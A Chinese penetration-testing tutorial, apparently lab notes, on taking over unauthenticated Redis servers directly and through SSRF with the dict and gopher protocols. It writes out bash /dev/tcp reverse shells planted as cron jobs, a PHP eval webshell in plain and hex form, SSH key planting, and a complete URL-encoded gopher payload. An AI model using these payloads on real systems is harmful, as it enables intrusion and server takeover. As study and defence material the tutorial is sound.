web渗透测试之反弹shell SSRF结合redis结合伪协议 redis 未授权访问漏洞

目录

未授权访问漏洞利用:redis 反弹shell

漏洞原因就是:

反弹shell利用方式

反弹shell指的是什么 :

反弹shell的前提条件

步骤:

redis未授权访问的三种利用手段反弹shell

利用定时任务反弹shell

攻击主机下设置

写入 webshell

步骤

利用公钥认证写入root用户用户公钥获取root免密连接权限

步骤

生成公私钥

将公钥拷贝到目标主机的/root/.ssh/authorized_keys

操控主机:

远程目标主机:

Redis弱口令登录方法写入

redis未授权访问防护手段

ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell

伪协议介绍

DICT协议

注意:

Http伪协议:

gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell

gopher协议

Gopher是一种分布式文档传递服务。

那么它在ssrf中如何使用呢?

gopher特点

Gopher协议格式:

协议格式:

格式要求:

Kali执行命令

file协议读取服务器文件



未授权访问漏洞利用:redis 反弹shell

  • 漏洞原因就是:

    • 因为没有设定连接密码或者密码太过简单导致的提取数据直接反弹shell

    • 执行redis指令内容 写入文件 拿到服务器的控制终端也就是控制服务器

反弹shell利用方式

  1. Redis持久化 也就是保存在磁盘上去 以文件的单位

  2. Config get dir 查看持久化保存的地址

  3. Config get dbfilename 查看保存的文件名称

  4. Save 保存文件redis数据 持久化数据

  • 我们可以修改保存的文件目录名称以及位置
  • Set shell 反弹shell的攻击代码 保存在数据库,修改文件的存储位置以及名称
  • 基于修改配置 保存在/var/spool/cron/ -> 定时任务目录 以用户名(登录的用户名)称进行文件保存

反弹shell指的是什么 :

  • 将本地的shell控制终端 返回给另外一台主机
  • 反弹shell 是不会终端的
  • Webshell 是http 无连接 短链接的

反弹shell的前提条件

  • 主机不出网 无法反弹出 外网主机

  • /bin/bash -I 是创建一个bash终端覆盖了原始的bash终端窗口

  • 反弹回来 我们需要一个程序用来接受反弹shell的终端数据 4444

步骤:

1 开始一个监听程序 攻击主机 nc 监听 nv –lvvp 4444 接受反弹shell

2 /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1

3 监听终端


redis未授权访问的三种利用手段反弹shell

利用定时任务反弹shell

  • 攻击主机下设置

######Config set dir /var/spool/cron 设置目录 定时任务目录Dir 查看保存目录下Config set dbfilename root 设置文件名称&&&&&&&&&&&&&&&&&Flushall 清空redis所有数据攻击主机发送保存数据set 请求set halo"\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1\n\n"######
  • 进入到/var/spool/cron定时任务 root 一分钟执行一次。
  • 攻击主机加入监听 nc –lvvp 4444 一分钟看 攻击主机就会反弹出shell。
  • 我们可以看到,通过写定时任务可以反弹shell。
  • 但是反弹shell需要一个前提条件
    • 就是目标主机是可以出网的,意思就是目标主机可以上网才行,如果目标主机不能上网,也就是不出网
    • 那么就需要用到我们后续内网渗透中学到的知识了,比如代理和隧道等技术,让不出网的主机出网

写入 webshell

  • webshell我们前面已经说过,也用过了,所以这里不用多提,

    • 重点就是将一句话木马程序写入到redis中

    • 然后保存到站点根目录下即可

步骤

  1. 找到站点根目录

  2. 修改redis保存目录

  3. 修改redis保存文件名称

  4. Set 写入一句胡木马

  5. Sava写入


利用公钥认证写入root用户用户公钥获取root免密连接权限

步骤

  • 公钥 我拷贝到目标主机特定目录的特定文件中

  • 服务端 root/.ssh

  • authorized_keys 解密 客户端发来的私钥 相等登录成功

  • 私钥 客户端自己存放着

  • Ssh root@192.168.1.8

  • 生成公私钥

ssh-keygen

  • 将公钥拷贝到目标主机的/root/.ssh/authorized_keys

操控主机:

  • 1. 生成公私钥

  • ssh-keygen

  • 2.将公钥拷贝到目标主机的/root/.ssh/authorized_keys

远程目标主机:

  • 1.在/root/目录下创建.ssh隐藏文件夹

  • 2.cs .ssh,进入到ssh目录中,创建authorized_keys文件

  • 3.将操作主机的公钥写入到authorized_keys文件中

  • 在操控主机上执行ssh root@目标主机ip地址,直接就可以连接,不需要输入密码了,这就是公私钥免密登录


Redis弱口令登录方法写入

  • 也就是说
    • 我们想办法将自己主机的公钥写入或者拷贝到目标主机的authorized_keys文件中就直接可以免密登录。
redis-cli -h 192.168.142.149redis-cli 本机连接

redis未授权访问防护手段

  • 添加防火墙策略,只允许某些IP地址访问这个redis服务器

  • 设置密码,以提供远程登陆打开redis.conf配置文件

    • 找到requirepass,然后修改如下:


ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell

伪协议介绍

  • http:// 主要用于探测主机存活和端口的开放情况

  • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

    • 1探测信息有时候返回的信息比较多

    • 2发送指令

    • 3运行指令

  • sftp://SSH文件传输协议或安全文件传输协议

    • 探测文件时上传下载的 ftp针对21端口

  • gopher:// 分布式文档传递服务,可使用gopherus生成payload

    • ssh基于gopher发起攻击

  • file:/// 从文无序列表件系统中获取文件内容,如,file:///etc/passwd

    • ldap:// 轻量级目录访问协议 windows域控

  • Dict伪协议-> 含有信息反馈

DICT协议

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379
  • 百度搜寻错误然后再知道是什么样的错误
  • ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP. +OK l

  • Dict 可以执行一些应用程序的指令

  • http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/info

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/set username base
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/get username 

  • 这样的情况下我们就可以利用dict进行定时任务 进行反弹shell

  • dict协议攻击redis,写入定时任务,进行反弹shell

centos系统定时任务的路径为:/var/spool/cron

debian系统定时任务的路径为:/var/spool/cron/crontabs

dict://192.168.142.149:6379/config:set:dir:/var/spool/cron dict://192.168.142.149:6379/config:set:dbfilename:root dict://192.168.142.149:6379/set:jaden:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.61.149/1234 0>&1\n\n"

# */1 * * * *是每隔1分钟执行一次

注意:

  • 若payload存在被转义或过滤的情况或者由于url编码导致失效的情况出现

  • 可利用16进制写入内容dict://192.168.142.149:6379/set:jaden:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a \x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.61.149/1234\x200\x3e\x261 \n\n"

dict://192.168.61.161:6379/save

  1. dict协议攻击redis,写入webshell

dict://192.168.61.161:6379/config:set:dbfilename:test.php

dict://192.168.61.161:6379/config:set:dir:/var/www/html

dict://192.168.61.161:6379/set:jaden:"\n\n<?php @ev..($_POST[x]);?>\n\n"

dict://192.168.61.161:6379/save

若存在过滤, 则利用16进制内容写入: dict://192.168.61.161:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x6 1\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"

  1. dict协议攻击redis,写入ssh公钥

操作和写入定时任务相似

Http伪协议:

在开放的情况下没有反应 探测信息

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.142.149:6379


gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell

gopher协议

  • Gopher是一种分布式文档传递服务。

    • 利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

  • 那么它在ssrf中如何使用呢?

    • 需要发送多行数据时,就要用到gopher协议

      • 同样使用nc简单测试一下

      • 可以看到接收端成功接收到了换行的数据

      • 所以gopher协议可以用来攻击那些需要交互的应用

gopher特点

  1. gopher协议支持多行数据一起发送,

  2. dict协议不支持换行符

    1. 没有办法进行换行

    2. 相当于一次只能执行一条命令

    3. 所以不能用来攻击那些需要交互的应用(比如需要认证的redis,每次都要先发送登录密码,紧接着就是要执行的指令,每次都是如此)

  3. 并且gopher协议支持发出GET、POST请求:

    1. 可以先截获get请求包和post请求包

    2. 在构成符合gopher协议的请求

  4. gopher协议是ssrf利用中最强大的协议

    1. GOPHER协议是一种比HTTP协议还要古老的协议

    2. 默认工作端口70

    3. 但是gopher协议在SSRF漏洞利用上比HTTP协议更有优势。

  5. GOPHER协议可以以单个URL的形式传递POST请求,同时支持换行。

Gopher协议格式:

协议格式:

gopher://ip:port/_数据包 # 数据包前面的_是一个无用字符,因为gopher协议的数据格式默认

会吃掉第一个数据,所以给一个无用数据占位。

格式要求:
  1. gopher协议会吃掉第一个字符,所以要先放一个没有用的字符

  2. 要进行url编码

  3. gopher协议数据流中,url编码之后使用%0d%0a替换字符串中的回车换行

  4. 数据流末尾使用%0d%0a代表消息结束

  • gopher协议数据流写入操作 ,要将上面的数据转换为redis接受的数据格式。
  • 然后对 _ 后面的数据进行url编码。
  • 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码。
  • 如果是file_get_contents()造成的ssrf,就不需要二次url编码了。
  • 但是其实把我们想要执行的redis指令加工成redis接受的数据格式
  • 手动来修改格式的话太麻烦了
  • 有没有能够直接帮我们生成gopher协议的payload的工具呢,
  • 有的,看下面这个工具:Gopherus, GitHub地址:GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

Kali执行命令
  • python2 gopherus.py --exploit redis
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=
gopher://192.168.142.149:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.142.150/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
  • 解码看一下 反弹成功

  • 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码,如果是file_get_contents()造成的ssrf,就不需要二次url编码了。

二次URL编码

gopher%3A%2F%2F192.168.142.149%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252470%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.142.150%2F1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fvar%2Fspool%2Fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A


file协议读取服务器文件

  • file协议数据格式: file:///文件绝对路径名

​​​​​​http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:\phpStudy\PHPTutorial\WWW\1.txt

  • 上面的格式是正确的 粘贴到浏览器就可以了

  • 这种URL Schema可以尝试从文件系统中获取文件,ile协议主要用于读取服务器本地文件,访问本地的静态资源

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/69766.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Vue】打包vue3+vite项目发布到github page的完整过程

文章目录 第一步&#xff1a;打包第二步&#xff1a;github仓库设置第三步&#xff1a;安装插件gh-pages第四步&#xff1a;两个配置第五步&#xff1a;上传github其他问题1. 路由2.待补充 参考文章&#xff1a; 环境&#xff1a; vue3vite windows11&#xff08;使用终端即可&…

Win32/C++ 字符串操作实用工具

CStrUtils.h #pragma once#include <string> #include <vector> #include <windows.h> #include <tchar.h>#ifdef _UNICODE using _tstring std::wstring; #else using _tstring std::string; #endif// 字符串转换实用工具 namespace CStrUtils {//…

【C++前缀和】1074. 元素和为目标值的子矩阵数量|2189

本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 LeetCode1074. 元素和为目标值的子矩阵数量 给出矩阵 matrix 和目标值 target&#xff0c;返回元素总和等于目标值的非空子矩阵的数量。 子矩阵 x1, y1, x2, y2 是满…

【安当产品应用案例100集】037-强化OpenVPN安全防线的卓越之选——安当ASP身份认证系统

在当前数字化时代&#xff0c;网络安全已成为企业发展的重要组成部分。对于使用OpenVPN的企业而言&#xff0c;确保远程访问的安全性尤为重要。安当ASP身份认证系统凭借其强大的功能和便捷的集成方式&#xff0c;为OpenVPN的二次登录认证提供了理想的解决方案&#xff0c;特别是…

基于进化式大语言模型的下一代漏洞挖掘范式:智能对抗与自适应攻防体系

摘要 本文提出了一种基于进化式大语言模型(Evolutionary LLM)的智能漏洞挖掘框架,突破了传统静态分析的局限,构建了具备对抗性思维的动态攻防体系。通过引入深度强化学习与多模态感知机制,实现了漏洞挖掘过程的自适应进化,在RCE、SQLi、XXE等关键漏洞类型的检测中达到97…

2025年数据资产管理解决方案:资料合集,从基础知识到行业应用的全面解析

在数字化时代&#xff0c;数据已成为企业最宝贵的资产之一。如何有效地管理和利用这些数据&#xff0c;将其转化为实际的经济价值&#xff0c;已成为企业面临的重要课题。 本文将通过数据资产解决方案、数据资产行业报告白皮书、数据资产政策汇编、数据资产基础知识以及数据资…

【linux学习指南】模拟线程封装与智能指针shared_ptr

文章目录 &#x1f4dd;线程封装&#x1f309; Thread.hpp&#x1f309; Makefile &#x1f320;线程封装第一版&#x1f309; Makefile:&#x1f309;Main.cc&#x1f309; Thread.hpp: &#x1f320;线程封装第二版&#x1f309; Thread.hpp:&#x1f309; Main.cc &#x1f…

k8s的安装

1. k8s的安装 192.168.48.6 master01 192.168.481.6 node01 192.168.48.26 node02 三台机器一起操作 1.swapoff -a &#xff1a;关闭交换分区 2. iptables -F && iptables -t nat -F && iptables -t mangle -F && iptables -X 3. cat > /etc/sy…

字节跳动大模型应用 Go 开发框架 —— Eino 实践

前言 开发基于大模型的软件应用&#xff0c;就像指挥一支足球队&#xff1a;组件是能力各异的队员&#xff0c;编排是灵活多变的战术&#xff0c;数据是流转的足球。Eino 是字节跳动开源的大模型应用开发框架&#xff0c;拥有稳定的内核&#xff0c;灵活的扩展性&#xff0c;完…

redis之数据库

文章目录 服务器中的数据库切换数据库数据库键空间读写键空间时的维护操作 设置键的生存时间或过期时间保存过期时间过期键的判定过期键删除策略清性删除策略的实现定期删除策略的实现 总结 服务器中的数据库 Redis服务器将所有数据库都保存在服务器状态redis.h/redisServer结…

Qt文本高亮显示【QSyntaxHighlighter】功能代码讲解

QSyntaxHighlighter 是 Qt 框架中的一个重要类&#xff0c;专门用于为文本内容提供语法高亮功能。它广泛应用于文本编辑器、代码编辑器、日志查看器等应用程序中&#xff0c;允许开发者对文本中的不同部分应用不同的格式&#xff0c;如字体颜色、背景色、加粗等。通过这个类&am…

MS08067练武场--WP

免责声明&#xff1a;本文仅用于学习和研究目的&#xff0c;不鼓励或支持任何非法活动。所有技术内容仅供个人技术提升使用&#xff0c;未经授权不得用于攻击、侵犯或破坏他人系统。我们不对因使用本文内容而引起的任何法律责任或损失承担责任。 注&#xff1a;此文章为快速通关…

WPF正则表达式验证输入是否包含中文字母数字,不能是纯符号

1、验证纯中文 string pattern "[\u4e00-\u9fa5]"; // 创建Regex对象 Regex regex new Regex(pattern); // 判断输入字符串是否包含中文 if (!regex.IsMatch(name)) { //resultTextBlock.Text …

【Matlab优化算法-第13期】基于多目标优化算法的水库流量调度

一、前言 水库流量优化是水资源管理中的一个重要环节&#xff0c;通过合理调度水库流量&#xff0c;可以有效平衡防洪、发电和水资源利用等多方面的需求。本文将介绍一个水库流量优化模型&#xff0c;包括其约束条件、目标函数以及应用场景。 二、模型概述 水库流量优化模型…

《qt open3d中添加随机点采样》

qt open3d中添加随机点采样 效果展示二、流程三、代码效果展示 二、流程 创建动作,链接到槽函数,并把动作放置菜单栏 参照前文 三、代码 1、槽函数实现 void on_actionFilterRandomDownSample_triggered();void MainWindow::on_act

【图片转换PDF】多个文件夹里图片逐个批量转换成多个pdf软件,子文件夹单独合并转换,子文件夹单独批量转换,基于Py的解决方案

建筑设计公司在项目执行过程中&#xff0c;会产生大量的设计图纸、效果图、实景照片等图片资料。这些资料按照项目名称、阶段、专业等维度存放在多个文件夹和子文件夹中。 操作需求&#xff1a;为了方便内部管理和向客户交付完整的设计方案&#xff0c;公司需要将每个项目文件…

Windows 安装 DeepSeek 教程和open webui 图形化部署(非docker)

Windows 安装 Ollama : 步骤 1&#xff1a;下载并安装 Ollama 官网&#xff1a;奥拉马 点击下载 选择windows版本。 双击安装包 点击【Install】&#xff08;注意&#xff1a;安装包是直接安装在C盘的&#xff0c;并不支持更改路径&#xff0c;因此C盘的空间必须要至少大于5…

每日学习 设计模式 五种不同的单例模式

狮子大佬原文 https://blog.csdn.net/weixin_40461281/article/details/135050977 第一种 饿汉式 为什么叫饿汉,指的是"饿" 也就是说对象实例在程序启动时就已经被创建好,不管你是否需要,它都会在类加载时立即实例化,也就是说 实例化是在类加载时候完成的,早早的吃…

OpenCV 相机标定流程指南

OpenCV 相机标定流程指南 前置准备标定流程结果输出与验证建议源代码 OpenCV 相机标定流程指南 https://docs.opencv.org/4.x/dc/dbb/tutorial_py_calibration.html https://learnopencv.com/camera-calibration-using-opencv/ 前置准备 制作标定板&#xff1a;生成高精度棋…

没有服务器和显卡电脑如何本地化使用deepseek|如何通过API使用满血版deepseek

目录 一、前言二、使用siliconflow硅基流动 API密钥1、注册硅基流动2、创建API密钥3、下载AI客户端4、使用API密钥5、效果演示 三、使用deepseek官方API密钥1、创建API密钥2、使用API密钥3、效果演示 四、总结 一、前言 上篇文章我介绍了如何通过云服务器或者显卡电脑来本地化…